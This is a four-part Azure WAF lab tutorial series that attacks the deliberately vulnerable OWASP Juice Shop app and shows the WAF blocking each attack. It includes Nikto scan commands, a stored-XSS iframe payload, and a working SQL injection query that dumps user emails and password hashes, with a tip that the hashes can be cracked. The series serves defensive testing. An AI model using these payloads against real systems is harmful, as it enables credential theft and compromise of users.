Part 2 – Reconnaissance Playbook: Azure WAF Security Protection and Detection Lab

by Contributed | Jan 14, 2021 | Technology

This article is contributed. See the original author and article here.

Tutorial: Reconnaissance Playbook

The second tutorial in this four-part series for Azure WAF protection and detection lab is the reconnaissance playbook.  The purpose of the Azure WAF security protection lab is to demonstrate Azure WAF‘s capabilities in identifying and protecting against suspicious activities and potential attacks against your web applications. This playbook explains how to test Azure WAF’s protections against a reconnaissance attack with emphasis on Azure WAF protection ruleset and logging capabilities.  The lab does not include advanced application security concepts and is not intended to be a reference for application security testing as these areas are broader than the use cases demonstrated herein.

This playbook demonstrates the web application protection capabilities of Azure WAF against a simulated reconnaissance (recon) attack from common, real-world, publicly available hacking and attack tools.

In this tutorial you will:

1. Run web application vulnerability scan against the target OWASP Juice Shop web application directly and then scan the same instance of the web application published through Azure WAF


2. Review the differences in the results of the two web application vulnerability scans


3. Review the summarized logs in the WAF Workbook (Azure Monitor Workbook for WAF)

Prerequisites

A completed Azure WAF security lab setup

• We recommend following the lab setup instructions as closely as possible. The closer your lab is to the suggested lab setup, the easier it will be to follow the Azure WAF testing procedures

Reconnaissance Attack

Before an attacker can exploit a vulnerability, they will typically spend time researching their target web application which involves collecting application specific data and analyzing it for potential vulnerabilities.  One of the methods for collecting sensitive security data to identify potential vulnerabilities in a web application is to utilize web application security vulnerability scanners.  These scanners can analyze an application’s response headers to identify potential vulnerabilities.  Data collected with web application vulnerability scanners can reveal potential vulnerabilities that an attacker could then test, develop, and leverage for exploitation or exfiltration.  Such reconnaissance activities also allow attackers to gain a thorough understanding and complete mapping of your application for later use.

Performing Reconnaissance with Web Application Vulnerability Scanner

One of the first things an attacker will attempt is to try and gain extensive understanding of the application components, framework, and the potential vulnerabilities in a target web application.  The quickest, most common method of doing this is to use a commercial or an open source web application vulnerability scanner (also called security scanners) to run unauthenticated/unauthorized scans against a target.  In this tutorial, you will run two web application vulnerability scans against the target web application

1. First scan will point to the target web application directly




• URL: http://owaspdirect-<deployment guid>.azurewebsites.net




2. Second scan will point to the same target web application protected by Azure WAF on Application Gateway




• URL: http://juiceshopthruwaf.com

Running Web Application Vulnerability Scan against the Target Application

To run the web application vulnerability scans, we will connect to the Kali VM with RDP.  Once connected, we will use Nikto, a versatile, command line open source web application vulnerability scanning tool which is bundled in the Kali Linux distro.  When pointed to the target web application, Nikto will scan the application for common vulnerabilities and display the scan output in the terminal window for quick review.

1. Sign into the Kali Linux VM using your lab credentials


2. Launch the web browser and ensure that you are able to access the OWASP Juice Shop website directly with URL http://owaspdirect-<deployment guid>.azurewebsites.net and also through WAF with URL http://juiceshopthruwaf.com


3. Launch two instances of Nikto Web Vulnerability Scanner.  Click on Applications on the top left and then click Web Application Analysis –> Web Vulnerability Scanners –> Nikto

4. To initiate the scans, utilize the following commands.  One in each of the open Nikto windows
   
   
   
   1. nikto -h http://owaspdirect-<deployment guid>.azurewebsites.net
   
   
   2. nikto -h http://juiceshopthruwaf.com
   
   
   
   

• Tips
  
  
  
  • To display verbose output in Nikto, use the following command
    
    
    
    
    • nikto -h <http://owaspdirect-<deployment guid>.azurewebsites.net> -Display v
    
    
    
    
  
  
  • To save Nikto output to a file to review later, use the following command
    
    
    
    
    • nikto -h <http://owaspdirect-<deployment guid>.azurewebsites.net> -Save ./juiceshopdirect.htm 
    
    
    
    
  
  
  
  

Reviewing Web Application Vulnerability Scan Results

After the scans finish running, we can quickly review the results by looking at the highlighted lines in the figures below.

1. When going to the Juice Shop website directly, we see that the scanner sent 7k+ requests¹ to the web server and as a result found 2 errors and 150+ items/issues which could then be used to develop further attack and exploitation scenarios

Figure 1 (Scan Start)

Figure 2 (Scan End)

! IMPORTANT:  For the scenarios demonstrated in this document, OWASP Juice Shop application was running on HTTP port 3000.  This is not the case when you use the Azure WAF Attack Testing Lab Deployment Template as it configures the application to run on port 80, 443 and assigns it a URL.  For the lab tutorials, you will connect to the application on HTTP port 80 only.  The URL for the application will be http://owaspdirect-<deployment guid>.azurewebsites.net.  <deployment guid> is unique to every deployment

2. While scanning Juice Shop website through the Azure WAF, we see that the scanner made >3x the number of requests¹ when compared to scanning the website directly in Step 1 and still it did not find any errors to report.  Similarly, this scan is only able to report <1% of the number of items/issues for further investigation as compared to when scanning the website directly

¹ Request count for http://owaspdirect-<deployment guid>.azurewebsites.net taken from baseline of scans for comparison

Understanding What Happened

Upon reviewing the Nikto scan outputs, we see the pattern as shown in the below table.  This clearly indicates that when going through the Azure WAF, the scanner is not as effective in assessing the web application and identifying potential vulnerabilities.

Now let us use the Azure Monitor Workbook for WAF to understand how WAF handled traffic from the Nikto security scanner.  This workbook visualizes security relevant WAF events across several filterable panels.  It works with all WAF types, including Application Gateway, Front Door, and CDN, and can be filtered based on WAF type or a specific WAF instance.

Click here to deploy Azure Monitor Workbook for WAF to your subscription in Azure.

• Tip:  To understand what is happening when scan traffic destined for the Juice Shop application goes through the Azure WAF, you can also examine the log entries associated with ApplicationGatewayFirewallLog in the Azure Monitor

Reviewing WAF logs in the Workbook

1. You can access the WAF workbook by going into the Workbook blade and then selecting the WAF workbook deployed for this lab.  Once in the workbook, ensure that you have selected the appropriate Time Range, WAF Type and WAF Items in the event filters

2. You should also ensure that you have selected the correct Public IP address for your attacker machine (Kali VM) in the Top 10 Attacking IP Addresses, filter to single IP address pane.

• Tip:  If you are using the Azure WAF Attack Testing Lab Environment Deployment Template and have followed the lab setup instructions then the client IP address will be the public IP address of the Azure Firewall in your demo environment

3. After selecting the correct client IP, we scroll back up to the top of the Workbook and review the visualizations at the top, in the WAF Workbook.  The sections of the workbook we will be using here are highlighted with alphabetized callouts in the below figure, we see that they map to the following sections

a. WAF actions filter

b. Top 40 Blocked Request URI addresses, filter to single URI address

c. Top 50 event trigger, filter by rule name

d. Message, full details

Overview of the Workbook sections

1. Starting from the top, the WAF actions filter shows the number of matches and the blocked requests

2. We can then look at the Top 40 Blocked Request URI addresses, filter to single URI address to identify the top URIs for which requests were blocked by WAF

3. The Top 50 event trigger, filter by rule name shows all the rules which evaluated the scanner traffic

• The below table shows an extract of the Top 50 event trigger, filter by rule name output for scanner traffic.  This data clearly shows that WAF was able to detect the security scanner and blocked suspicious requests/payloads from the Nikto Scanner.  This is expected because a security scanner will attempt to perform various types of operations to test security of the web application

4. Review further details in the Message, full details section

Key Takeaway

Using security scanners to perform web application vulnerability assessment scans to expose vulnerabilities in a target web application is a common technique used by attackers.  When external adversaries can perform these scans against your web applications, they are able to learn about your application design and its vulnerabilities which could potentially lead to exploitation. 

For web applications secured with it, Azure WAF can detect and protect against reconnaissance attacks executed with security scanners at the network edge, with its out of the box ruleset.

Next: Vulnerability Exploitation Playbook

Part 4 – Data Disclosure and Exfiltration Playbook: Azure WAF Security Protection and Detection Lab

by Contributed | Jan 14, 2021 | Technology

This article is contributed. See the original author and article here.

Tutorial: Data Disclosure and Exfiltration Playbook

The last tutorial in this four-part series for Azure WAF protection is the data exfiltration playbook.  The purpose of the Azure WAF security protection lab is to demonstrate Azure WAF‘s capabilities in identifying and protecting against suspicious activities and potential attacks against your web applications.  This playbook explains how to test Azure WAF’s protections against a SQL Injection (SQLi) attack with emphasis on Azure WAF protection ruleset and logging capabilities.  The lab does not include advanced application security concepts and is not intended to be a reference for application security testing as these areas are broader than the use cases demonstrated herein.

This playbook demonstrates the protection capabilities of Azure WAF against a simulated SQL Injection attack from common, real-world, publicly available hacking and attack tools.

In this tutorial you will:

1. Simulate SQL Injection (SQLi) attack against the target OWASP Juice Shop application directly and then attack the same instance of the web application published through Azure WAF


2. Observe the difference in the web application behavior in the two scenarios


3. Review the summarized logs in the WAF Workbook (Azure Monitor Workbook for WAF)

Prerequisites

1. A completed Azure WAF security lab setup
   
   
   
   
   • We recommend following the lab setup instructions as closely as possible. The closer your lab is to the suggested lab setup, the easier it will be to follow the Azure ATP testing procedures.
   
   
   
   


2. Completion of the reconnaissance playbook tutorial


3. Completion of the vulnerability exploitation playbook tutorial

Configuring Burp Suite and Firefox

Before you being, please refer to the Configuring Burp Suite and Firefox section in the previous tutorial, Vulnerability Exploitation Playbook to setup Burp Suite and the Firefox web browser on the Kali VM.

Sensitive Data Exposure and Exfiltration

In this phase, the attacker is ready to use a vulnerability they have previously discovered, tested, and developed further to achieve their objective to access and exfiltrate data.  In this playbook, we will perform a SQL Injection attack to disclose and then exfiltrate the list of all user credentials in the OWASP Juice Shop application.

Performing SQL Injection against the Target Web Application

In this tutorial, you will perform a SQL Injection (SQLi) attack against the OWASP Juice Shop application two times. 

1. Scenario 1: Performing SQL injection in the target web application directly


2. Scenario 2: Performing the same injection in the same target web application protected by Azure WAF on Application Gateway

Scenario 1:  Performing SQL Injection when going to the OWASP Juice Shop Application directly

1. Sign into the Kali VM using your lab credentials


2. Launch Burp Suite and ensure you have Burp Suite configured and running as described in the Configuring Burp Suite and Firefox section of the Vulnerability Exploitation Playbook


3. Using Firefox, browse directly to the Juice Shop site by going to http://owaspdirect-<deployment guid>.azurewebsites.net


4. In Burp Suite, check the Proxy –> HTTP history tab for the request and response data for this website


5. In the search bar on the Juice Shop website, type “apple” and examine the request and response in Burp Suite

! IMPORTANT:  For the scenarios demonstrated in this document, OWASP Juice Shop application was running on HTTP port 3000.  This is not the case when you use the Azure WAF Attack Testing Lab Deployment Template as it configures the application to run on port 80, 443 and assigns it a URL.  For the lab tutorials, you will connect to the application on HTTP port 80 only.  The URL for the application will be http://owaspdirect-<deployment guid>.azurewebsites.net.  <deployment guid> is unique to every deployment

6. We see that when searching, the client makes a connection to the /rest/products/search endpoint

7. The /rest/products/search endpoint of the OWASP Juice Shop application is vulnerable to SQL injection.  In this tutorial, we will be exploiting the SQLi vulnerability in this endpoint


8. To exploit the SQLi vulnerability in the /rest/products/search endpoint, we will use Burp Suite’s Repeater functionality to inject a specifically crafted SQL query in the request to this endpoint


9. To do this, right click one of the GET requests to the /rest/products/search endpoint and then click Send to Repeater

Figure 1 – Send Request to Burp Repeater

Figure 2 – Request in Burp Repeater

10. When ready to perform the injection, we will copy/paste and append the following encoded SQL query to the Request URI /rest/products/search?q= (as value to the query parameter) in the Burp Repeater window

a. URL encoded SQL query

%71%77%65%72%74%27%29%29%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%69%64%2c%20%65%6d%61%69%6c%2c%20%70%61%73%73%77%6f%72%64%2c%20%27%34%27%2c%20%27%35%27%2c%20%27%36%27%2c%20%27%37%27%2c%20%27%38%27%2c%20%27%39%27%20%46%52%4f%4d%20%55%73%65%72%73%2d%2d 

b. Plain text SQL query (for reference)

qwert')) UNION SELECT id, email, password, '4', '5', '6', '7', '8', '9' FROM Users-- 

• Tip: You can also append the plain text SQL query to the request URI, but it may fail in certain conditions

11. After appending the encoded query to the request URI, as value to the to the query parameter, click Go (or Send button)

12. You should see a successful response from the OWASP Juice Shop application with details of all the users and their credentials disclosed by the web application.  This indicates that our SQL injection attack was successful

JSON data in the response body

{"status":"success","data":[{"id":1,"name":"admin@juice-sh.op","description":"0192023a7bbd73250516f069df18b500","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":2,"name":"jim@juice-sh.op","description":"e541ca7ecf72b8d1286474fc613e5e45","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":3,"name":"bender@juice-sh.op","description":"0c36e517e3fa95aabf1bbffc6744a4ef","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":4,"name":"bjoern.kimminich@gmail.com","description":"6edd9d726cbdc873c539e41ae8757b8c","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":5,"name":"ciso@juice-sh.op","description":"861917d5fa5f1172f931dc700d81a8fb","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":6,"name":"support@juice-sh.op","description":"d57386e76107100a7d6c2782978b2e7b","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":7,"name":"morty@juice-sh.op","description":"f2f933d0bb0ba057bc8e33b8ebd6d9e8","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":8,"name":"mc.safesearch@juice-sh.op","description":"b03f4b0ba8b458fa0acdc02cdb953bc8","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":9,"name":"J12934@juice-sh.op","description":"3c2abc04e4a6ea8f1327d0aae3714b7d","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":10,"name":"wurstbrot@juice-sh.op","description":"9ad5b0492bbe528583e128d2a8941de4","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":11,"name":"amy@juice-sh.op","description":"030f05e45e30710c3ad3c32f00de0473","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":12,"name":"bjoern@juice-sh.op","description":"7f311911af16fa8f418dd1a3051d6810","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":13,"name":"bjoern@owasp.org","description":"9283f1b2e9669749081963be0462e466","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":14,"name":"chris.pike@juice-sh.op","description":"10a783b9ed19ea1c67c3a27699f0095b","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":15,"name":"accountant@juice-sh.op","description":"963e10f92a70b4b463220cb4c5d636dc","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":16,"name":"uvogin@juice-sh.op","description":"05f92148b4b60f7dacd04cceebb8f1af","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":17,"name":"demo","description":"fe01ce2a7fbac8fafaed7c982a04e229","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":18,"name":"john@juice-sh.op","description":"00479e957b6b42c459ee5746478e4d45","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"},{"id":19,"name":"emma@juice-sh.op","description":"402f1c4a75e316afec5a6ea63147f739","price":"4","deluxePrice":"5","image":"6","createdAt":"7","updatedAt":"8","deletedAt":"9"}]}

• Tip:  Data in the “Description” field in the server response is the password hash of the users which can be reversed using free tools available on the internet

Scenario 2:  Performing SQL Injection when going to the OWASP Juice Shop Application through Azure WAF

You will now attempt to perform SQL Injection with the same query when going to the OWASP Juice Shop site through Azure WAF.

1. On Kali VM, launch a new instance of Burp Suite and the Firefox browser


2. Using Firefox, browse to http://juiceshopthruazwaf.com and check the Proxy –> HTTP history tab for the request and response data for this website in Burp Suite

3. Search for “apple” in the search bar, find the request to the vulnerable /rest/products/search endpoint and send it to the Burp Repeater

Send Request to Burp Repeater

Request in Burp Repeater

4. Append the encoded SQL query (from Step 10 in Scenario 1 above) as value to the query parameter in the Burp Repeater and click Go (or Send)

5. Upon examining the response, we find that the request was blocked by Azure WAF on Application Gateway

Understanding What Happened

Upon reviewing the HTTP requests and responses for the two attempts to perform SQL Injection in the same instance of the Juice Shop application, we see the pattern as shown in the below table.  This clearly indicates that the potentially malicious payload which could otherwise be stored in the application is not allowed through by Azure WAF.

Now let us use the Azure Monitor Workbook for WAF to understand how the WAF handled traffic with the SQL Injection query.  This workbook visualizes security relevant WAF events across several filterable panels.  It works with all WAF types, including Application Gateway, Front Door, and CDN, and can be filtered based on WAF type or a specific WAF instance.

Click here to deploy Azure Monitor Workbook for WAF to your subscription in Azure.

• Tip:  To understand what is happening when traffic with SQL Injection query destined for the Juice Shop application goes through the Azure WAF, you can also examine the log entries associated with ApplicationGatewayFirewallLog in the Azure Monitor

Reviewing WAF logs in the Workbook

1. You can access the WAF workbook by going into the Workbook blade and then selecting the WAF workbook deployed for this testing.  Once in the workbook, ensure that you have selected the appropriate Time Range, WAF Type and WAF Items

2. You should also ensure that you have selected the correct Public IP address for your attacker machine (Kali VM) in the Top 10 Attacking IP Addresses, filter to single IP address pane

• Tip:  If you are using the Azure WAF Attack Testing Lab Environment Deployment Template and have followed the lab setup instructions then the client IP address will be the public IP address of the Azure Firewall in your demo environment

3. After selecting the correct client IP, we scroll back up to the top of the Workbook and review the visualizations at the top, in the WAF Workbook.  Below are the sections of the workbook we will be using as numbered in the below figure

a. WAF actions filter

b. Top 40 Blocked Request URI addresses, filter to single URI address

c. Top 50 event trigger, filter by rule name

d. Message, full details

Note:  For a detailed overview of these sections of the WAF workbook, please refer to the Overview of the Workbook Sections in the prior tutorial, Reconnaissance Playbook

4. From the sliced data in the WAF workbook, we can see that two requests to the /rest/products/search URI were blocked by WAF.  Upon reviewing the Top 50 event trigger, filter by rule name we see all the rules which evaluated the POC code in the request, the Message, full details section shows that the traffic was blocked by Mandatory rule because the Anomaly Score threshold was exceeded (Total Score: 43, SQLi=43) with SQL Injection attack being the closest match


5. The below table shows an extract of the Top 50 event trigger, filter by rule name output for scanner traffic.  This data shows that the WAF evaluated the encoded query in the HTTP request to detect that it was a SQL injection attack and therefore blocked it

Key Takeaway

SQL Injection (SQLi) is one of the most common type of application security vulnerability which allows an external adversary to exploit a vulnerable application to disclose and exfiltrate sensitive information in the application.

For web applications secured with it, Azure WAF can protect against SQL Injection (SQLi) attacks by detecting and blocking suspicious SQL queries at the network edge, with its out of the box ruleset.

Part 3 – Vulnerability Exploitation Playbook: Azure WAF Security Protection and Detection Lab

by Contributed | Jan 14, 2021 | Technology

This article is contributed. See the original author and article here.

Tutorial: Vulnerability Exploitation Playbook

Vulnerability Exploitation playbook is third in the four-part tutorial series for the Azure WAF protection and detection lab.  The purpose of the Azure WAF security protection lab is to demonstrate Azure WAF‘s capabilities in identifying and protecting against suspicious activities and potential attacks against your web applications.  This playbook explains how to test Azure WAF’s protections against a Cross Site Scripting (XSS) attack with emphasis on Azure WAF protection ruleset and logging capabilities.  The lab does not include advanced application security concepts and is not intended to be a reference for application security testing as these areas are broader than the use cases demonstrated herein.

This playbook demonstrates the protection capabilities of Azure WAF against a simulated Server Side XSS injection (Stored XSS) attack from common, real-world, publicly available hacking and attack tools.

In this tutorial you will:

1. Simulate Cross Site Scripting (XSS) attack against the target OWASP Juice Shop application directly and then attack the same instance of the web application published through Azure WAF




• Inject a proof of concept (POC) XSS payload in the target OWASP Juice Shop application directly and then through Azure WAF




2. Observe the difference in the web application behavior in the two scenarios


3. Review the summarized logs in the WAF Workbook (Azure Monitor Workbook for WAF)

Prerequisites

1. A completed Azure WAF security lab setup
   
   
   
   • We recommend following the lab setup instructions as closely as possible. The closer your lab is to the suggested lab setup, the easier it will be to follow the Azure WAF testing procedures.
   
   
   
   


2. Completion of the reconnaissance playbook tutorial

Configuring Burp Suite and Firefox

To inject the POC XSS exploit code in the OWASP Juice Shop application, we will connect to the Kali VM with RDP.  Once connected, we will use Burp Suite (Community Edition), a powerful web application security research and analysis tool which is bundled in the Kali Linux distro.  In this playbook, we will be using Burp Suite to inspect application requests and responses to understand what happens when injecting the POC XSS payload in the target web application is different scenarios.

Burp Suite works as a client-side proxy and your web browser should point to Burp’s Proxy Listener so, it can intercept requests and responses. 

1. Sign into the Kali VM using your lab credentials


2. Launch the web browser and ensure that you are able to access the OWASP Juice Shop website directly with URL http://owaspdirect-<deployment guid>.azurewebsites.net and also through Azure WAF with URL http://juiceshopthruazwaf.com


3. Launch Burp Suite by clicking on Applications on the top left and then click Web Application Analysis –> burpsuite

4. In the “Burp Suite Community Edition” window, accept the defaults (Temporary project –> Use Burp defaults –> Start Burp) to start Burp Suite

Figure 1 – Launch Burp Suite

Figure 2 – Launch Burp Suite

5. When open, click on Target –> Scope tabs and then add the 2 URLs for the Juice Shop website in the “Include in scope” box.  This will setup Burp to only capture requests and responses for these specific websites while excluding traffic going to other destinations

a. http://owaspdirect-<deployment guid>.azurewebsites.net

b. http://juiceshopthruazwaf.com/  

6. The exclusions in the “Exclude from scope” are optional and will help reduce noise in the capture

a. http://owaspdirect-<deployment guid>.azurewebsites.net/socket.io/

b. http://juiceshopthruazwaf.com/socket.io/

! IMPORTANT:  For the scenarios demonstrated in this document, OWASP Juice Shop application was running on HTTP port 3000.  This is not the case when you use the Azure WAF Attack Testing Lab Deployment Template as it configures the application to run on port 80, 443 and assigns it a URL.  For the lab tutorials, you will connect to the application on HTTP port 80 only.  The URL for the application will be http://owaspdirect-<deployment guid>.azurewebsites.net.  <deployment guid> is unique to every deployment 

7. Then click on the Proxy –> Options tabs and verify that Burp Proxy is running on 127.0.0.1:8080

8. Click on the Intercept tab and turn off intercept

9. Launch Firefox browser on the Kali Linux VM and update the proxy settings to use Burp proxy listener under Menu –> Preferences –> Network Proxy –> Settings –> Manual proxy configuration and point it to 127.0.0.1:8080

Vulnerability Exploitation

After collecting and analyzing web application specific data from the various recon activities to detect vulnerabilities, an attacker can then successfully exploit the identified vulnerabilities with the intent to compromise a user or the application itself to elevate privileges.  In this playbook, we will simulate a Cross Site Scripting (XSS) attack against the target application using a proof of concept (POC) exploit payload.

Performing Cross Site Scripting (XSS) Attack against the Target Web Application

In this tutorial, you will perform a Server Side Cross Site Scripting (XSS) attack against the OWASP Juice Shop application two times. 

1. Scenario 1: Injecting the XSS payload in the target web application directly


2. Scenario 2: Injecting the same XSS payload in the same target web application protected by Azure WAF on Application Gateway

Scenario 1:  Injecting XSS payload when going to the OWASP Juice Shop Application directly

1. Sign into the Kali VM using your lab credentials


2. Using Firefox, browse directly to the Juice Shop site by going to http://owaspdirect-<deployment guid>.azurewebsites.net


3. In Burp Suite, check the Proxy –> HTTP history tab for request and response data for this website


4. Click the website menu icon on the top left and then click on Customer Feedback

! IMPORTANT:  For the scenarios demonstrated in this document, OWASP Juice Shop application was running on HTTP port 3000.  This is not the case when you use the Azure WAF Attack Testing Lab Deployment Template as it configures the application to run on port 80, 443 and assigns it a URL.  For the lab tutorials, you will connect to the application on HTTP port 80 only.  The URL for the application will be http://owaspdirect-<deployment guid>.azurewebsites.net.  <deployment guid> is unique to every deployment 

5. In the Comment box of the Customer Feedback form, copy/paste the POC code

   <iframe src="x-javascript&colon;alert(`xss`)">

6. Give a Rating, respond to the CAPTCHA challenge and click Submit

7. Upon clicking Submit, you should see a Thank you message

8. Switching back to Burp, we can see the following request and response for the Feedback that we submitted in Step 4 above

Figure 1 – Request with XSS Payload in Burp Suite

Figure 2 – Successful Response from Juice Shop in Burp Suite

Raw Request and Response – Headers and Body

9. The 201 Created response code with a successful status tells us that the malicious POC XSS payload was stored successfully by the web application.  We can now check if the XSS exploit is indeed working by going to the About Us page of the application.  On this page, in addition to the company information, customer feedback is also displayed with rating and comments


10. As shown in image on the right below, as soon as we browse to the About Us page, we see the pop-up with indicates that the exploit is working as expected

Scenario 2:  Injecting XSS payload when going to the OWASP Juice Shop Application through Azure WAF

We will now attempt to perform the injection of the same XSS payload in the Customer Feedback form on the Juice Shop website when going through Azure WAF on Application Gateway.

1. On Kali VM, launch a new instance of Firefox and browse to the Juice Shop website published through Application Gateway and protected with Azure WAF by going to http://juiceshopthruazwaf.com/


2. In Burp Suite, check the Proxy –> HTTP history tab for the request and response data for this website

• Tip:  To see the latest request/response, sort by #

3. In the browser window, click on the website menu icon on the top left and then click on Customer Feedback


4. In the Comment box of the Customer Feedback form, copy/paste the POC code

   <iframe src="x-javascript&colon;alert(`xss`)">



5. Give a Rating, respond to the CAPTCHA challenge and click Submit

6. Upon clicking Submit, you will observe that the thank you message does not show up this time

• Tip:  The web application does not provide an error response in this scenario.  This is due to the behavior of the Juice Shop application

7. Switching back to Burp, we can see the following request and response for the Feedback that we submitted in Step 5 above

Figure 1 – Request with XSS Payload in Burp Suite

Figure 2 – 403 Forbidden Response from Application Gateway in Burp Suite

Raw Request and Response – Headers and Body

8. The 403 Forbidden response from the Application Gateway tells us that the request with the POC XSS payload was blocked by Azure WAF

Understanding What Happened 

Upon reviewing the HTTP requests and responses for the two attempts to inject POC XSS payload to the same instance of the Juice Shop application, we see the pattern as shown in the below table.  This clearly indicates that the malicious XSS payload which could otherwise be stored in the application is not allowed through by Azure WAF.

Now let us use the Azure Monitor Workbook for WAF to understand how the WAF handled traffic with the XSS payload.  This workbook visualizes security relevant WAF events across several filterable panels.  It works with all WAF types, including Application Gateway, Front Door, and CDN, and can be filtered based on WAF type or a specific WAF instance.

Click here to deploy Azure Monitor Workbook for WAF to your subscription in Azure.

• Tip:  To understand what is happening when traffic with XSS payload destined for the Juice Shop application goes through the Azure WAF, you can also examine the log entries associated with ApplicationGatewayFirewallLog in the Azure Monitor

Reviewing WAF logs in the Workbook

1. You can access the WAF workbook by going into the Workbook blade and then selecting the WAF workbook deployed for this testing.  Once in the workbook, ensure that you have selected the appropriate Time Range, WAF Type and WAF Items

2. You should also ensure that you have selected the correct Public IP address for your attacker machine (Kali VM) in the Top 10 Attacking IP Addresses, filter to single IP address pane

• Tip:  If you are using the Azure WAF Attack Testing Lab Environment Deployment Template and have followed the lab setup instructions then the client IP address will be the public IP address of the Azure Firewall in your demo environment

3. After selecting the correct client IP, we scroll back up to the top of the Workbook and review the visualizations at the top, in the WAF Workbook.  Following are the sections of the workbook we will be using as called out in the figure below

a. WAF actions filter

b. Top 40 Blocked Request URI addresses, filter to single URI address

c. Top 50 event trigger, filter by rule name

d. Message, full details

Note:  For a detailed overview of these sections of the WAF workbook, please refer to the Overview of the Workbook Sections in the previous tutorial, Reconnaissance Playbook

4. From the sliced data in the WAF workbook, we can see that two requests to the /api/Feedbacks/ URI were blocked by WAF.  Upon reviewing the Top 50 event trigger, filter by rule name we see all the rules which evaluated the POC XSS payload in the request; the Message, full details section shows that the traffic was blocked by Mandatory rule because the Anomaly Score threshold was exceeded (Total Score: 53, XSS=35) with XSS attack being the closest match


5. The below table shows an extract of the Top 50 event trigger, filter by rule name output for request with the XSS traffic.  This data shows that the WAF evaluated the POC payload in the HTTP request to detect XSS injection and therefore blocked it

Key Takeaway

Cross Site Scripting (XSS) is one of the most common type of application security vulnerability and an external adversary can easily exploit a vulnerable application to compromise the application and its users to elevate their privileges.

For web applications secured with it, Azure WAF can protect against XSS attacks by detecting and blocking XSS payload at the network edge, with its out of the box ruleset.

Next: Data Disclosure and Exfiltration Playbook

Part 1 – Lab Setup: Azure WAF Security Protection and Detection Lab

by Contributed | Jan 14, 2021 | Technology

This article is contributed. See the original author and article here.

Tutorial: Setup an Azure WAF Security Protection and Detection Lab

The purpose of the Azure WAF security protection and detection lab tutorial is to demonstrate Azure Web Application Firewall (WAF) capabilities in identifying, detecting, and protecting against suspicious activities and potential attacks against your Web Applications.  This first tutorial in a four-part series walks you through creating a lab environment for testing against Azure WAF’s protections.  This lab focuses on the OWASP protection ruleset and logging capabilities of Azure WAF.  The lab does not include advanced application security concepts and is not intended to be a reference for application security testing as these areas are broader than the use cases demonstrated herein.  For more information about each tutorial in this series, refer to the previous section, Tutorial Overview.

In this tutorial you will:

1. Deploy a demo test environment in Azure


2. Deploy Azure Monitor Workbook for WAF


3. Enable desktop environment on Linux VM


4. Create host file entries to resolve host names

Prerequisites

1. An Azure subscription to deploy the Azure WAF Attack Testing Lab Environment Deployment Template
   
   
   
   
   • Do not have an Azure subscription? Create a free account
   
   
   
   


2. A Log Analytics workspace to send all diagnostic logs
   
   
   
   • Azure Monitor Workbook for WAF deployed to the same workspace
   
   
   
   


3. Familiarity with Azure Application Gateway WAF

Deployment Steps

1. Click here to deploy the lab environment to your Azure subscription


2. Click here to deploy the Azure Monitor Workbook for WAF to your Azure subscription

• Tip:  For more information, refer to the detailed deployment instructions here – Deploying Network security demo environment
  
  
  
  • Please refer to the above document for deployment instructions only and do not use the deployment template linked in it.  The deployment template used in these lab tutorials is different from the one used in the deployment instructions document
  
  
  
  

Recommendations

We recommend using the Azure WAF Attack Testing Lab Environment Deployment Template as it already contains all the components needed for this lab including a customized version of the OWASP Juice Shop application.  The closer your lab is to the suggested lab setup, the easier it will be to follow the Azure WAF testing procedures.  After deployment and minimum configuration steps, you will be ready to perform actions with the suggested hacking research tools and review Azure WAF’s protections against those malicious actions. 

When using the Azure WAF Attack Testing Lab Environment Deployment Template, additional resources such as VMs and Azure Front Door will be deployed.  The below diagram represents resources in the environment which are utilized in this lab.  The resources which are not used in this lab have been grayed out (VMs, Azure Front Door, DDoS Protection).

! IMPORTANT:  This environment will be used as the baseline for the remainder of this document and the tutorial

In this setup, traffic from the attacker machine (Kali VM) will be routed to the internet through the Azure Firewall.  Successful attack path is one where malicious data is sent directly by the attacker to the OWASP Juice Shop web application leading to successful exploitation.  Attack path defended by WAF represents the path where malicious data is inspected by Azure WAF (on Azure Application Gateway) and blocked with its out of the box ruleset before it reaches the web application.

You can also use a preexisting environment for this lab.  For completing these tutorials, your environment must have the following key components:

1. An instance of the customized OWASP Juice Shop web application with an internet accessible endpoint


2. An instance of Application Gateway with Azure WAF which publishes the OWASP Juice Shop web application to the internet


3. An attacker machine (VM) with common hacking tools and internet connectivity.  We use Kali Linux as the attacker VM

If manually deploying the components required for this tutorial, your complete lab setup should look as similar as possible to the following diagram:

Resources

The below table details the resources needed from all resources deployed with the Azure WAF Attack Testing Lab Environment Deployment Template. 

! IMPORTANT:  For the scenarios demonstrated in this document, OWASP Juice Shop application was running on HTTP port 3000.  This is not the case when you use the Azure WAF Attack Testing Lab Environment Deployment Template as it configures the application to run on port 80, 443 and assigns it a URL.  For the lab tutorials, you will connect to the application on HTTP port 80 only.  The URL for the application will be http://owaspdirect-<deployment guid>.azurewebsites.net.  

